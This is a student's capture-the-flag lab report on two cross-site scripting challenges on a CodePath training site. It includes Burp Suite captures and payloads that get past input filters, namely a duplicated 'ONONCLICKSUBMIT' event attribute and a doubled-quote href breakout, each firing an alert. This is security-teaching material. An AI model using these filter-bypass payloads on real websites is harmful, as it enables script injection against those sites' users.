



REPORT

CROSS SITE SCRIPTING (XSS)

Mahmood Sakib

XSS 01:

Task: Find a XSS vulnerability.

Running the website request with Burp Suite and putting malicious code inside the form I can see that the website is filtering out the 'ONCLICK' part from the code. To escape from the filter, I used 'ONONCLICKSUBMIT' and got the flag!

Intercept HTTP history WebSockets history Options

Filter: Hiding CSS, image and general binary content

| # | Host | Method | URL | Params | Edited | Status | Length | MIME type | Extension |
|-----|------------------------------|--------|---------------------------------|--------|--------|--------|--------|-----------|-----------|
| 192 | https://security.codepath... | POST | /refreshMenu | | ✓ | 200 | 7958 | HTML | |
| 193 | https://security.codepath... | POST | /challenges/ad2628bcc79bf10d... | | ✓ | 200 | 259 | text | |

Request

Raw

Hex

1 POST /challenges/ad2628bcc79bf10d54ee62de148ab44b7bd02009a908c...e3f1b4d01986e0e HTTP/1.1

2 Host: security.codepath.com

3 Cookie: JSESSIONID=EC6990D4633D3D0968954E640A3219; token=-106547852401081215821092462505632067899; JSESSIONID3=-CJrYY/aQL+Vamp8oHLP2y==

4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0

5 Accept: text/plain, */*; q=0.01

6 Accept-Language: en-US,en;q=0.5

7 Accept-Encoding: gzip, deflate

8 Content-Type: application/x-www-form-urlencoded

Inspector

Selection

Selected text

<input type="button" = "alert('xss')"/></p>

Request Attributes

Request Body Parameters

Request Cookies

Request Headers

Response Headers

Response

Raw

Hex

Render

1 HTTP/1.1 200 OK

2 Server: Apache-Coyote/1.1

3 Content-Length: 136

4 Date: Wed, 21 Sep 2022 03:17:29 GMT

5 Connection: close

6

7 <h2 class="title">Search Results</h2><p>Sorry but there were no results found that related to <input type="button" = "alert('xss')"/></p>

Submit Result Key Here...

Cross Site Scripting Three

Find a XSS vulnerability in the following form. It would appear that your input is being filtered!

Please enter the Search Term that you want to look up

<INPUT TYPE="BUTTON" ONCLICK="alert('XSS')/">>

Get this user

Search Results

Sorry but there were no results found that related to

Intercept HTTP history WebSockets history Options

Filter: Hiding CSS, image and general binary content

| # | Host | Method | URL | Params | Edited | Status | Length | MIME type | Extension |
|-----|------------------------------|--------|----------------------------------|--------|--------|--------|--------|-----------|-----------|
| 178 | https://security.codepath... | GET | /challenges/avatars/alert('xss') | | | 404 | 256 | XML | |
| 180 | https://security.codepath... | POST | /challenges/ad2628bcc79bf10d... | | ✓ | 200 | 259 | text | |
| 182 | https://security.codepath... | POST | /challenges/ad2628bcc79bf10d... | | ✓ | 200 | 259 | text | |
| 183 | https://security.codepath... | POST | /challenges/ad2628bcc79bf10d... | | ✓ | 200 | 259 | text | |
| 184 | https://security.codepath... | POST | /challenges/ad2628bcc79bf10d... | | ✓ | 200 | 259 | text | |
| 185 | https://security.codepath... | POST | /challenges/ad2628bcc79bf10d... | | ✓ | 200 | 263 | text | |
| 186 | https://security.codepath... | POST | /challenges/ad2628bcc79bf10d... | | ✓ | 200 | 263 | text | |
| 187 | https://security.codepath... | POST | /challenges/ad2628bcc79bf10d... | | ✓ | 200 | 259 | text | |

Request

Raw

Hex

1 POST /challenges/ad2628bcc79bf10d54ee62de148ab44b7bd02009a908c...e3f1b4d01986e0e HTTP/1.1

2 Host: security.codepath.com

3 Cookie: JSESSIONID=EC6990D4633D3D0968954E640A3219; token=-106547852401081215821092462505632067899; JSESSIONID3=-CJrYY/aQL+Vamp8oHLP2y==

4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0

5 Accept: text/plain, */*; q=0.01

6 Accept-Language: en-US,en;q=0.5

Inspector

Selection

Selected text

<input type="button" = "alert('xss')"/></p>

Request Attributes

Request Body Parameters

Request Cookies

Request Headers

Response Headers

Response

Raw

Hex

Render

1 HTTP/1.1 200 OK

2 Server: Apache-Coyote/1.1

3 Content-Length: 136

4 Date: Wed, 21 Sep 2022 03:14:37 GMT

5 Connection: close

6

7 <h2 class="title">Search Results</h2><p>Sorry but there were no results found that related to <input type="button" = "alert('xss')"/></p>

Submit Result Key Here...

Submit

Cross Site Scripting Three

Find a XSS vulnerability in the following form. It would appear that your input is being filtered!

Please enter the Search Term that you want to look up

<INPUT TYPE="BUTTON" ONONCLICKSUBMIT="alert('XSS')/">>

Get this user

Well Done

You successfully executed the JavaScript alert command!

The result key for this challenge is

VAo3b8y/oA5PQ5CvRssOsLjz56pltut7+cxDKbnndAP2kf3vy7vnW1aPe1KpUcp38iAYK6do9zbOwump/FJ1+ip7x+TemeNZfvb9ck1s=

Search Results

Sorry but there were no results found that related to

XSS 02:

Task: Find a XSS vulnerability:

Cross Site Scripting Six

Demonstrate a XSS vulnerability in the following form by executing a JavaScript alert command. The developers of this application wanted to demonstrate how HTTP links can be embedded in HTML and learned a bit about sanitizing their input for XSS attacks! Have a look by putting in your own HTTP link. The developers are only allowing HTTP URLs!

Please enter the **URL** that you wish to post to your public profile;

Your New Post!

You just posted the following link;

[Your HTTP Link!](#)

Running the website request with Burp Suite and putting malicious code inside the form I can see that the website is filtering out the ‘”’ part from the malicious code. To escape from the filter, I used ‘””’ and got the flag!

Request

Pretty Raw Hex

```
1 POST /challenges/d330dealacf21886b685184ee222ea8e0a60589c3940afd6ebf433469e997caf HTTP/1.1
2 Host: security.codepath.com
3 Cookie: JSESSIONID=ECE6990D46335D3D096E854E640A3219; token=-106547852401081215821092462585632067899; JSESSIONID3="CJrYY/aQLvamp8oHLP2yw=="
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
5 Accept: text/plain, */*; q=0.01
6 Accept-Language: en-US,en;q=0.5
7 Accept-Encoding: gzip, deflate
8 Content-Type: application/x-www-form-urlencoded
9 X-Requested-With: XMLHttpRequest
10 Content-Length: 123
11 Origin: https://security.codepath.com
12 Referer: https://security.codepath.com/challenges/d330dealacf21886b685184ee222ea8e0a60589c3940afd6ebf433469e997caf.jsp
```

Response

Pretty Raw Hex Render

```
1 HTTP/1.1 200 OK
2 Server: Apache-Coyote/1.1
3 Content-Length: 168
4 Date: Wed, 21 Sep 2022 04:25:45 GMT
5 Connection: close
6
7 <h2 class='title'>Your New Post!</h2><p>You just posted the following link;</p> <a href="http://www.facebook.com&quot;E; onsubmit=alert(hacked!);">Your HTTP Link!</a></p>
```

Cross Site Scripting Six

Demonstrate a XSS vulnerability in the following form by executing a JavaScript alert command. The developers of this application wanted to demonstrate how HTTP links can be embedded in HTML and learned a bit about sanitizing their input for XSS attacks! Have a look by putting in your own HTTP link. The developers are only allowing HTTP URLs!

Please enter the **URL** that you wish to post to your public profile;

Well Done

You successfully executed the JavaScript alert command!

The result key for this challenge is

Your New Post!

You just posted the following link;

[Your HTTP Link!](#)

Inspector

Search HTML

```
<script type='text/javascript' src='../js/jquery.js'></script>
<script type='text/javascript' src='../js/clipboard.js'></script>
<script type='text/javascript' src='../js/clipboard.js/tooltips.js'></script>
<script type='text/javascript' src='../js/clipboard.js/clipboard-events.js'></script>
<div id='contentDiv'>
  <h2 class='title'>Cross Site Scripting Six</h2>
  <p></p>
  <form id='leForm' action='javascript:;'></form>
  <div id='resultsDiv' style='display: block;'>
    <h2 class='title'>Well Done</h2>
    <div class='input-group'></div>
    <p>You just posted the following link;</p>
    <a href='http://www.facebook.com' onsubmit='alert(hacked!);'>Your HTTP Link!</a>
  </div>
</div>
<div id='theSidebarWrapper' class='sidebarWrapper' onmouseover='resizeSidebar()' style='height: 2056px;'></div>
<!--End of Sidebar Wrapper-->
</div>
```

